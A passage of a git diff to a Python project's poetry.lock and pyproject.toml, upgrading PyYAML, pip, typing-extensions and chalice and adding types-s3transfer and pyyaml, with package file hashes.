"sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"}, + {file = "mypy_extensions-0.4.4.tar.gz", hash = "sha256:c8b707883a96efe9b4bb3aaf0dcc07e7e217d7d8368eec4db4049ee9e142f4fd"}, ] [[package]] @@ -1219,13 +1283,13 @@ files = [ [[package]] name = "pip" -version = "21.2.4" +version = "23.1.2" description = "The PyPA recommended tool for installing Python packages." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "pip-21.2.4-py3-none-any.whl", hash = "sha256:fa9ebb85d3fd607617c0c44aca302b1b45d87f9c2a1649b46c26167ca4296323"}, - {file = "pip-21.2.4.tar.gz", hash = "sha256:0eb8a1516c3d138ae8689c0c1a60fde7143310832f9dc77e11d8a4bc62de193b"}, + {file = "pip-23.1.2-py3-none-any.whl", hash = "sha256:3ef6ac33239e4027d9a5598a381b9d30880a1477e50039db2eac6e8a8f6d1b18"}, + {file = "pip-23.1.2.tar.gz", hash = "sha256:0e7c86f486935893c708287b30bd050a36ac827ec7fe5e43fe7cb198dd835fba"}, ] [[package]] @@ -1430,40 +1494,61 @@ files = [ [[package]] name = "pyyaml" -version = "5.4.1" +version = "6.0.1" description = "YAML parser and emitter for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +python-versions = ">=3.6" files = [ - {file = "PyYAML-5.4.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3b2b1824fe7112845700f815ff6a489360226a5609b96ec2190a45e62a9fc922"}, - {file = "PyYAML-5.4.1-cp27-cp27m-win32.whl", hash = "sha256:129def1b7c1bf22faffd67b8f3724645203b79d8f4cc81f674654d9902cb4393"}, - {file = "PyYAML-5.4.1-cp27-cp27m-win_amd64.whl", hash = "sha256:4465124ef1b18d9ace298060f4eccc64b0850899ac4ac53294547536533800c8"}, - {file = "PyYAML-5.4.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:bb4191dfc9306777bc594117aee052446b3fa88737cd13b7188d0e7aa8162185"}, - {file = "PyYAML-5.4.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:6c78645d400265a062508ae399b60b8c167bf003db364ecb26dcab2bda048253"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:4e0583d24c881e14342eaf4ec5fbc97f934b999a6828693a99157fde912540cc"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:72a01f726a9c7851ca9bfad6fd09ca4e090a023c00945ea05ba1638c09dc3347"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_s390x.whl", hash = "sha256:895f61ef02e8fed38159bb70f7e100e00f471eae2bc838cd0f4ebb21e28f8541"}, - {file = "PyYAML-5.4.1-cp36-cp36m-win32.whl", hash = "sha256:3bd0e463264cf257d1ffd2e40223b197271046d09dadf73a0fe82b9c1fc385a5"}, - {file = "PyYAML-5.4.1-cp36-cp36m-win_amd64.whl", hash = "sha256:e4fac90784481d221a8e4b1162afa7c47ed953be40d31ab4629ae917510051df"}, - {file = "PyYAML-5.4.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5accb17103e43963b80e6f837831f38d314a0495500067cb25afab2e8d7a4018"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:e1d4970ea66be07ae37a3c2e48b5ec63f7ba6804bdddfdbd3cfd954d25a82e63"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:cb333c16912324fd5f769fff6bc5de372e9e7a202247b48870bc251ed40239aa"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_s390x.whl", hash = "sha256:fe69978f3f768926cfa37b867e3843918e012cf83f680806599ddce33c2c68b0"}, - {file = "PyYAML-5.4.1-cp37-cp37m-win32.whl", hash = "sha256:dd5de0646207f053eb0d6c74ae45ba98c3395a571a2891858e87df7c9b9bd51b"}, - {file = "PyYAML-5.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf"}, - {file = "PyYAML-5.4.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d2d9808ea7b4af864f35ea216be506ecec180628aced0704e34aca0b040ffe46"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:8c1be557ee92a20f184922c7b6424e8ab6691788e6d86137c5d93c1a6ec1b8fb"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:fd7f6999a8070df521b6384004ef42833b9bd62cfee11a09bda1079b4b704247"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_s390x.whl", hash = "sha256:bfb51918d4ff3d77c1c856a9699f8492c612cde32fd3bcd344af9be34999bfdc"}, - {file = "PyYAML-5.4.1-cp38-cp38-win32.whl", hash = "sha256:fa5ae20527d8e831e8230cbffd9f8fe952815b2b7dae6ffec25318803a7528fc"}, - {file = "PyYAML-5.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:0f5f5786c0e09baddcd8b4b45f20a7b5d61a7e7e99846e3c799b05c7c53fa696"}, - {file = "PyYAML-5.4.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:294db365efa064d00b8d1ef65d8ea2c3426ac366c0c4368d930bf1c5fb497f77"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:74c1485f7707cf707a7aef42ef6322b8f97921bd89be2ab6317fd782c2d53183"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:d483ad4e639292c90170eb6f7783ad19490e7a8defb3e46f97dfe4bacae89122"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_s390x.whl", hash = "sha256:fdc842473cd33f45ff6bce46aea678a54e3d21f1b61a7750ce3c498eedfe25d6"}, - {file = "PyYAML-5.4.1-cp39-cp39-win32.whl", hash = "sha256:49d4cdd9065b9b6e206d0595fee27a96b5dd22618e7520c33204a4a3239d5b10"}, - {file = "PyYAML-5.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:c20cfa2d49991c8b4147af39859b167664f2ad4561704ee74c1de03318e898db"}, - {file = "PyYAML-5.4.1.tar.gz", hash = "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e"}, + {file = "PyYAML-6.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d858aa552c999bc8a8d57426ed01e40bef403cd8ccdd0fc5f6f04a00414cac2a"}, + {file = "PyYAML-6.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:fd66fc5d0da6d9815ba2cebeb4205f95818ff4b79c3ebe268e75d961704af52f"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:69b023b2b4daa7548bcfbd4aa3da05b3a74b772db9e23b982788168117739938"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:81e0b275a9ecc9c0c0c07b4b90ba548307583c125f54d5b6946cfee6360c733d"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba336e390cd8e4d1739f42dfe9bb83a3cc2e80f567d8805e11b46f4a943f5515"}, + {file = "PyYAML-6.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:326c013efe8048858a6d312ddd31d56e468118ad4cdeda36c719bf5bb6192290"}, + {file = "PyYAML-6.0.1-cp310-cp310-win32.whl", hash = "sha256:bd4af7373a854424dabd882decdc5579653d7868b8fb26dc7d0e99f823aa5924"}, + {file = "PyYAML-6.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:fd1592b3fdf65fff2ad0004b5e363300ef59ced41c2e6b3a99d4089fa8c5435d"}, + {file = "PyYAML-6.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6965a7bc3cf88e5a1c3bd2e0b5c22f8d677dc88a455344035f03399034eb3007"}, + {file = "PyYAML-6.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f003ed9ad21d6a4713f0a9b5a7a0a79e08dd0f221aff4525a2be4c346ee60aab"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:42f8152b8dbc4fe7d96729ec2b99c7097d656dc1213a3229ca5383f973a5ed6d"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:062582fca9fabdd2c8b54a3ef1c978d786e0f6b3a1510e0ac93ef59e0ddae2bc"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d2b04aac4d386b172d5b9692e2d2da8de7bfb6c387fa4f801fbf6fb2e6ba4673"}, + {file = "PyYAML-6.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e7d73685e87afe9f3b36c799222440d6cf362062f78be1013661b00c5c6f678b"}, + {file = "PyYAML-6.0.1-cp311-cp311-win32.whl", hash = "sha256:1635fd110e8d85d55237ab316b5b011de701ea0f29d07611174a1b42f1444741"}, + {file = "PyYAML-6.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:bf07ee2fef7014951eeb99f56f39c9bb4af143d8aa3c21b1677805985307da34"}, + {file = "PyYAML-6.0.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:855fb52b0dc35af121542a76b9a84f8d1cd886ea97c84703eaa6d88e37a2ad28"}, + {file = "PyYAML-6.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40df9b996c2b73138957fe23a16a4f0ba614f4c0efce1e9406a184b6d07fa3a9"}, + {file = "PyYAML-6.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c22bec3fbe2524cde73d7ada88f6566758a8f7227bfbf93a408a9d86bcc12a0"}, + {file = "PyYAML-6.0.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8d4e9c88387b0f5c7d5f281e55304de64cf7f9c0021a3525bd3b1c542da3b0e4"}, + {file = "PyYAML-6.0.1-cp312-cp312-win32.whl", hash = "sha256:d483d2cdf104e7c9fa60c544d92981f12ad66a457afae824d146093b8c294c54"}, + {file = "PyYAML-6.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:0d3304d8c0adc42be59c5f8a4d9e3d7379e6955ad754aa9d6ab7a398b59dd1df"}, + {file = "PyYAML-6.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50550eb667afee136e9a77d6dc71ae76a44df8b3e51e41b77f6de2932bfe0f47"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1fe35611261b29bd1de0070f0b2f47cb6ff71fa6595c077e42bd0c419fa27b98"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:704219a11b772aea0d8ecd7058d0082713c3562b4e271b849ad7dc4a5c90c13c"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:afd7e57eddb1a54f0f1a974bc4391af8bcce0b444685d936840f125cf046d5bd"}, + {file = "PyYAML-6.0.1-cp36-cp36m-win32.whl", hash = "sha256:fca0e3a251908a499833aa292323f32437106001d436eca0e6e7833256674585"}, + {file = "PyYAML-6.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:f22ac1c3cac4dbc50079e965eba2c1058622631e526bd9afd45fedd49ba781fa"}, + {file = "PyYAML-6.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b1275ad35a5d18c62a7220633c913e1b42d44b46ee12554e5fd39c70a243d6a3"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18aeb1bf9a78867dc38b259769503436b7c72f7a1f1f4c93ff9a17de54319b27"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:596106435fa6ad000c2991a98fa58eeb8656ef2325d7e158344fb33864ed87e3"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:baa90d3f661d43131ca170712d903e6295d1f7a0f595074f151c0aed377c9b9c"}, + {file = "PyYAML-6.0.1-cp37-cp37m-win32.whl", hash = "sha256:9046c58c4395dff28dd494285c82ba00b546adfc7ef001486fbf0324bc174fba"}, + {file = "PyYAML-6.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:4fb147e7a67ef577a588a0e2c17b6db51dda102c71de36f8549b6816a96e1867"}, + {file = "PyYAML-6.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1d4c7e777c441b20e32f52bd377e0c409713e8bb1386e1099c2415f26e479595"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a0cd17c15d3bb3fa06978b4e8958dcdc6e0174ccea823003a106c7d4d7899ac5"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:28c119d996beec18c05208a8bd78cbe4007878c6dd15091efb73a30e90539696"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e07cbde391ba96ab58e532ff4803f79c4129397514e1413a7dc761ccd755735"}, + {file = "PyYAML-6.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:49a183be227561de579b4a36efbb21b3eab9651dd81b1858589f796549873dd6"}, + {file = "PyYAML-6.0.1-cp38-cp38-win32.whl", hash = "sha256:184c5108a2aca3c5b3d3bf9395d50893a7ab82a38004c8f61c258d4428e80206"}, + {file = "PyYAML-6.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:1e2722cc9fbb45d9b87631ac70924c11d3a401b2d7f410cc0e3bbf249f2dca62"}, + {file = "PyYAML-6.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9eb6caa9a297fc2c2fb8862bc5370d0303ddba53ba97e71f08023b6cd73d16a8"}, + {file = "PyYAML-6.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c8098ddcc2a85b61647b2590f825f3db38891662cfc2fc776415143f599bb859"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5773183b6446b2c99bb77e77595dd486303b4faab2b086e7b17bc6bef28865f6"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b786eecbdf8499b9ca1d697215862083bd6d2a99965554781d0d8d1ad31e13a0"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc1bf2925a1ecd43da378f4db9e4f799775d6367bdb94671027b73b393a7c42c"}, + {file = "PyYAML-6.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:04ac92ad1925b2cff1db0cfebffb6ffc43457495c9b3c39d3fcae417d7125dc5"}, + {file = "PyYAML-6.0.1-cp39-cp39-win32.whl", hash = "sha256:faca3bdcf85b2fc05d06ff3fbc1f83e1391b3e724afa3feba7d13eeab355484c"}, + {file = "PyYAML-6.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:510c9deebc5c0225e8c96813043e62b680ba2f9c50a08d3724c7f28a747d1486"}, + {file = "PyYAML-6.0.1.tar.gz", hash = "sha256:bfdf460b1736c775f2ba9f6a92bca30bc2095067b8a9d77876d1fad6cc3b4a43"}, ] [[package]] @@ -1765,25 +1850,35 @@ files = [ [[package]] name = "types-pyyaml" -version = "6.0.12.11" +version = "6.0.12.12" description = "Typing stubs for PyYAML" optional = false python-versions = "*" files = [ - {file = "types-PyYAML-6.0.12.11.tar.gz", hash = "sha256:7d340b19ca28cddfdba438ee638cd4084bde213e501a3978738543e27094775b"}, - {file = "types_PyYAML-6.0.12.11-py3-none-any.whl", hash = "sha256:a461508f3096d1d5810ec5ab95d7eeecb651f3a15b71959999988942063bf01d"}, + {file = "types-PyYAML-6.0.12.12.tar.gz", hash = "sha256:334373d392fde0fdf95af5c3f1661885fa10c52167b14593eb856289e1855062"}, + {file = "types_PyYAML-6.0.12.12-py3-none-any.whl", hash = "sha256:c05bc6c158facb0676674b7f11fe3960db4f389718e19e62bd2b84d6205cfd24"}, +] + +[[package]] +name = "types-s3transfer" +version = "0.6.2" +description = "Type annotations and code completion for s3transfer" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "types_s3transfer-0.6.2-py3-none-any.whl", hash = "sha256:1068877b6e59be5226fa3006ae64371ac9d5bc590dfdbd9c66fd0a075d3254ac"}, + {file = "types_s3transfer-0.6.2.tar.gz", hash = "sha256:4ba9b483796fdcd026aa162ee03bdcedd2bf7d08e9387c820dcdd158b0102057"}, ] [[package]] name = "typing-extensions" -version = "3.10.0.2" -description = "Backported and Experimental Type Hints for Python 3.5+" +version = "4.7.1" +description = "Backported and Experimental Type Hints for Python 3.7+" optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "typing_extensions-3.10.0.2-py2-none-any.whl", hash = "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7"}, - {file = "typing_extensions-3.10.0.2-py3-none-any.whl", hash = "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"}, - {file = "typing_extensions-3.10.0.2.tar.gz", hash = "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e"}, + {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"}, + {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"}, ] [[package]] @@ -1873,4 +1968,4 @@ testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more [metadata] lock-version = "2.0" python-versions = "^3.7" -content-hash = "1ff6a5d543df7d8195fa826bef9fd141b79a969d8b4d52a88aea6b8ff29a67f0" +content-hash = "cc1e05799b8811d6d1eabd9b3faac5a3cd975f66b388cae733ba08a9143ccb5c" diff --git a/pyproject.toml b/pyproject.toml index 08827452..866a3c4b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -17,13 +17,14 @@ requests = "^2.25.1" urllib3 = "^1.26.4" SQLAlchemy = "~1.3.0" SQLAlchemy-Utils = "^0.37.2" -typing-extensions = "^3.7.4.3" +typing-extensions = "^4.0.0" dsnap = "^1.0.0" -chalice = "1.24.1" +chalice = "^1.27.3" policyuniverse = "^1.5.0.20220613" pycognito = "^2023.5.0" qrcode = "^7.4.2" jq = "^1.4.1" +pyyaml = "^6.0.1" [tool.poetry.dev-dependencies] flake8 = "^3.9.1" @@ -31,7 +32,7 @@ mypy = "^0.812" sqlalchemy-stubs = "^0.4" pytest = "^6.2.3" freezegun = "^1.1.0" -typing-extensions = "^3.7.4" +typing-extensions = "^4.0.0" boto3-stubs = {extras = ["iam", "s3", "lambda"], version = "^1.17.54"} moto = "^2.2.1"